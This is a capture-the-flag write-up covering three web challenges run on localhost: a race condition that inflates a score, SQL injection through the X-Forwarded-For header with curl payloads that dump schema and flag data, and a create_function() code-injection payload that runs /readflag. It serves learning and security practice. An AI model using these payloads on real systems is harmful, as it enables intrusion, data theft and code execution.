---
# System prepended metadata

title: DEVCORE CTF WARGAME

---


<h1>HITCON CTF: DEVCORE-Wargame</h1>

<h2>Submit Flag</h2>

<h3>Challenge Description</h3>

A platform where players need to reach at least 5 points by submitting 5 different flags (or by any means 😉) to capture the final flag. 

<h3>Source Code Analysis</h3>

<h4>register.php</h4>

```php!
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (isset($_POST['user']) && strlen($_POST['user']) <= 128) {
        $session = get_session();
        $session['user'] = strval($_POST['user']);
        $pdo = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass);
        $stmt = $pdo->prepare('DELETE FROM submit WHERE user = ?');
        $stmt->bindParam(1, $session['user']);
        $stmt->execute();
        save_session($session);
        header('Location: /');
        exit();
    }
}
```
> * Sets `$session['user']` to the submitted username.
> * Deletes all rows from the `submit` table for that username. 
> * The user will be redirected to `index.php` once they registered.
> * Each user's session ID is stored in the `session` data once they register. 

<h4>index.php</h4>

```php!
$flag = strval($_POST['flag']);

$stmt = $pdo->prepare('SELECT * FROM flag WHERE flag = ? COLLATE utf8mb4_bin');
$stmt->bindParam(1, $flag);
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if (!$row) {
    $session['flash'] = 'This flag is not valid';
    save_session($session);
    header('Location: /index.php');
    exit();
}
```
> * The submitted flag is compared against the stored flag value in the `flag` table using binary collation. 
> * If the submitted flag is not found, set the flash message and save session, redirects user back to `index.php`.

```php!
$stmt = $pdo->prepare('SELECT * FROM submit WHERE user = ? COLLATE utf8mb4_bin AND flag = ? COLLATE utf8mb4_bin');
$stmt->bindParam(1, $user);
$stmt->bindParam(2, $flag);
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if ((bool) $row) {
    $session['flash'] = 'You already submitted this flag.';
    save_session($session);
    header('Location: /index.php');
    exit();
}
```
> * If the flag is valid, the server checks whether the same flag has already been submitted by this user. 
> * The comparison is done by querying the `submit` table for an exact match on both the username and flag.

```php!
sleep(2);
```
> * The server sleeps for 2 seconds before proceeding to insert the valid flag into the database. 

```php!
$stmt = $pdo->prepare('INSERT INTO submit (user, flag) VALUES (?, ?)');
$stmt->bindParam(1, $user);
$stmt->bindParam(2, $flag);
if ($stmt->execute()) {
    $session['flash'] = 'You successfully submit the flag.';
    save_session($session);
    header('Location: /index.php');
    exit();
} else {
    $session['flash'] = 'Submit error.';
    save_session($session);
    header('Location: /index.php');
    exit();
}
```
> * If the flag value passed the two checks above: valid and not previously submitted, the flag is inserted into the database along with the username. 
> * A success or error flash message is set accordingly. 

```php!
$stmt = $pdo->prepare('SELECT count(*) AS score FROM submit WHERE user = ?');
$stmt->bindParam(1, $user);
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_ASSOC);

$score = $row['score'];
```
> * The user's score is calculated as the total number of rows in `submit` table for that username. 

```html
<?php if ($score >= 5): ?>
    <h3>Congratulations, you got <?=$score ?> points.</h3>
    <h3>Here is your final flag: <?=$final_flag ?></h3>
<?php else: ?>
    <h3>You got <?=$score ?> points now.</h3>
    <p>Submit 1 flag to get 1 point. Try to get more than 5 points to obtain the final flag.</p>
    <p>As an encouragement, I'll give you the first flag as a reward.</p>
    <p>The first flag is <?=$first_flag ?></p>
<?php endif; ?>
```
> * If the current user's score is equal or greater than 5, the final flag is displayed. 
> * Otherwise, show the current user's score and the first flag value. 

<h3>Ways to Catch the Final Flag</h3>

1. Play the game fair and square: catch all 5 flags
    * All the valid flags are stored in the database, one way to retrieve all flags is to dump the `flag` database table. 
2. Manipulate the scoreboard
    * With one valid flag, we can abuse the 2-second delay between the "already submitted" check and the database insert. 
    * Sending many concurrent submissions to quickly insert (username, flag) during this window inserts multiple rows in the table.
    * The score is calculated as `COUNT(*)` per user without uniqueness check, inflating the score to >= 5 and triggering the final flag display. 

<h3>Exploit Steps</h3>

1. Register a user and capture the session cookie
    ```bash
    URL='http://127.0.0.1:8902/index.php'
    COOKIE='session=eyJ1c2VyIjoiJycnJyciLCJleHAiOjE3NTQ3MTI2OTZ9e585074165f5a7354471e15ddc88fd53bc18b723'
    DATA='flag=FLAG{this_is_the_first_flag}'
    ```
    > This cookie uniquely identifies a user to the application. 
2. Fire multiple identical POSTs during the 2-second nap
    ```bash
    seq 60 | xargs -I{} -P60 curl -sS -X POST "$URL" \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      -H "Cookie: $COOKIE" \
      --data "$DATA" > /dev/null
    ```
    > Firing a tight burst using `xargs -P` (true parallelism).
    > Each request passes the "already submitted?" check before any inserts happen, resulting in multiple identical rows being inserted. 
    > Logic:
    > * `seq 60` outputs 1 to 60, one per line. 
    > * `-I{}` where `{}` is replaced with each number to make xargs run the command N times and execute the curl command separately for each number. 
    > * `-P60` runs up to 60 requests in parallel.
    > * `curl -sS -X POST "$URL" ...` is executed once for each input line. 
3. Leverage the flawed scoring logic
    ```bash
    curl -sS "$URL" -H "Cookie: $COOKIE" | grep -E 'You got|Congratulations'
    ```
    > The score is COUNT(*) per user with no DISTINCT or uniqueness check for the flag value, so duplicates inflate the score quickly. 
    > The final flag retrieval message is shown if the score is greater than or equal to 5. 
4. Scale the service to allow more concurrent inserts
    ```bash
    docker compose down
    docker compose up -d --scale web=6
    ```
    > We might hit a cap on small worker counts.
    > Scaling increases concurrent PHP workers to make the race more effective. 

<h3>Proof of Exploit</h3>

![image](https://hackmd.io/_uploads/r1agFYrdlg.png)

<h3>Challenge(s)</h3>

1. The queries are parameterized and use a binary collation, making classic SQLi challenging. 
2. The server's concurrency ceiling is hit. 

<h2>What's My IP</h2>

<h3>Challenge Description</h3>

Exploit a SQL Injection vulnerability to reveal the flag stored in the `flag` database table. The application also maintains an `iplog` table containing IP addresses and countries of visitors. 

<h3>Source Code Analysis</h3>

<h4>index.php</h4>

```php!
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}
```
> * `$ip` value is user-controlled via HTTP Headers.

```php!
$country = @file_get_contents("https://api.hostip.info/country.php?ip=$ip");

if ($country == 'XX' || !$country) {
    $country = 'Unknown';
}
```
> * `$country` value is determined by querying external API. 

```php!
$db = mysqli_connect('mysql', 'dbuser', 'en8yzvQz4ywKK6gnSbK', 'ipdb');
mysqli_query($db, "INSERT INTO iplog (ip, country) VALUES ('$ip', '$country')");
```
> * The value of `$ip` and `$country` is inserted into the database `iplog` table without sanitization.

```php!
$query = "SELECT country, COUNT(ip) as total FROM iplog GROUP BY country";

$result = mysqli_query($db, $query);

$table = array();
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
    $table[] = $row;
}

mysqli_close($db);
```
> * Fetches the `iplog` data as a country-wise count in the HTML output. 

<h3>Ways to Catch the Final Flag</h3>

1. The injection occurs at the INSERT query with `$ip` as the vulnerable field. 
2. Injection is done via the `X-Forwarded-For` header. 
3. Use SQL injection payload in the `X-Forwarded-For` header to select the flag value from the `flag` table and insert it into the `iplog` table. 
4. Since `iplog` entries are displayed on the web page, the flag will be shown in the HTML output. 

<h3>Exploit Steps</h3>

1. Enumerate the DB Schemas
    ```bash
    curl \
      -H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(schema_name, 30) FROM information_schema.schemata LIMIT 2,1)); #" \
      -H "User-Agent: Mozilla/5.0" \
      http://127.0.0.1:8901/
    ```
    ![image](https://hackmd.io/_uploads/HJBQPordgl.png)

2. Enumerate schema tables
    ```bash
    curl \
      -H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(TABLE_NAME, 30) FROM information_schema.tables WHERE TABLE_SCHEMA='flag_vBu6eL' ORDER BY TABLE_NAME LIMIT 0,1)); #" \
      -H "User-Agent: Mozilla/5.0" \
      http://127.0.0.1:8901/
    ```
    ![image](https://hackmd.io/_uploads/ByC_uiSugg.png)

3. Enumerate column names 
    ```bash
    curl \
      -H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(COLUMN_NAME, 30) FROM information_schema.columns WHERE TABLE_NAME='flag_hH33YT' ORDER BY COLUMN_NAME LIMIT 0,1)); #" \
      -H "User-Agent: Mozilla/5.0" \
      http://127.0.0.1:8901/
    ```
    ![image](https://hackmd.io/_uploads/SJ_ytiHuge.png)

4. Extract column data
    ```bash
    curl \
      -H "X-Forwarded-For: 1.1.1.2', (SELECT LEFT(flag_jQM2hM, 10) FROM flag_vBu6eL.flag_hH33YT LIMIT 1)); #" \
      -H "User-Agent: Mozilla/5.0" \
      http://127.0.0.1:8901/
    ```

<h3>Proof of Exploit</h3>

![image](https://hackmd.io/_uploads/Byj79jBOex.png)

<h3>Challenge(s)</h3>

1. Output length is limited, data must be extracted in chunks. 
2. `--` SQL style comments does not work, use `#` as an alternative. 

![image](https://hackmd.io/_uploads/SJhV4xiDxe.png)
![image](https://hackmd.io/_uploads/HJlPNgjPle.png)

<h2>Kurapika</h2>

![image](https://hackmd.io/_uploads/H1uRk2rOee.png)
![image](https://hackmd.io/_uploads/HJvrxnrdxe.png)


<h2>Supercalifragilisticexpialidocious</h2>

<h3>Challenge Description</h3>

Craft a payload that triggers PHP code execution via an unsafe use of `create_function()`. 

<h3>Source Code Analysis</h3>

<h4>index.php</h4>

```php!
$code = strval($_GET['code']);

try {
    create_function('', $code);
    echo "valid";
} catch (ParseError $e) {
    echo "syntax error";
}
```
> * `$_GET[$code]` is entirely user-controlled.
> * `create_function('', $code)` compiles a function with no parameters and a body equal to `$code`. 
> * The `$code` string is parsed as if it were inside the function's braces.

<h3>Ways to Catch the Final Flag</h3>

1. Inject a function body escape and execute the RCE payload to catch the flag via the `readflag` function. 
2. `create_function('', $code)` internally generates:
    ```php
    function __lambda_func() {
        // injected code
    }
    ```
3. Hence, if we pass a payload looking like ``}die(`/readflag`);/*``:
    ```php
    function __lambda_func() {
        }die(`/readflag`);/* }
    ```
    
<h3>Exploit Steps</h3>

1. Send a payload that closes the body and executed `readflag`. 
    ```php
    }die(`/readflag`);/*
    ```

<h3>Proof of Exploit</h3>

![image](https://hackmd.io/_uploads/B1ujiTBdlx.png)
![image](https://hackmd.io/_uploads/ByIhjTrOlx.png)



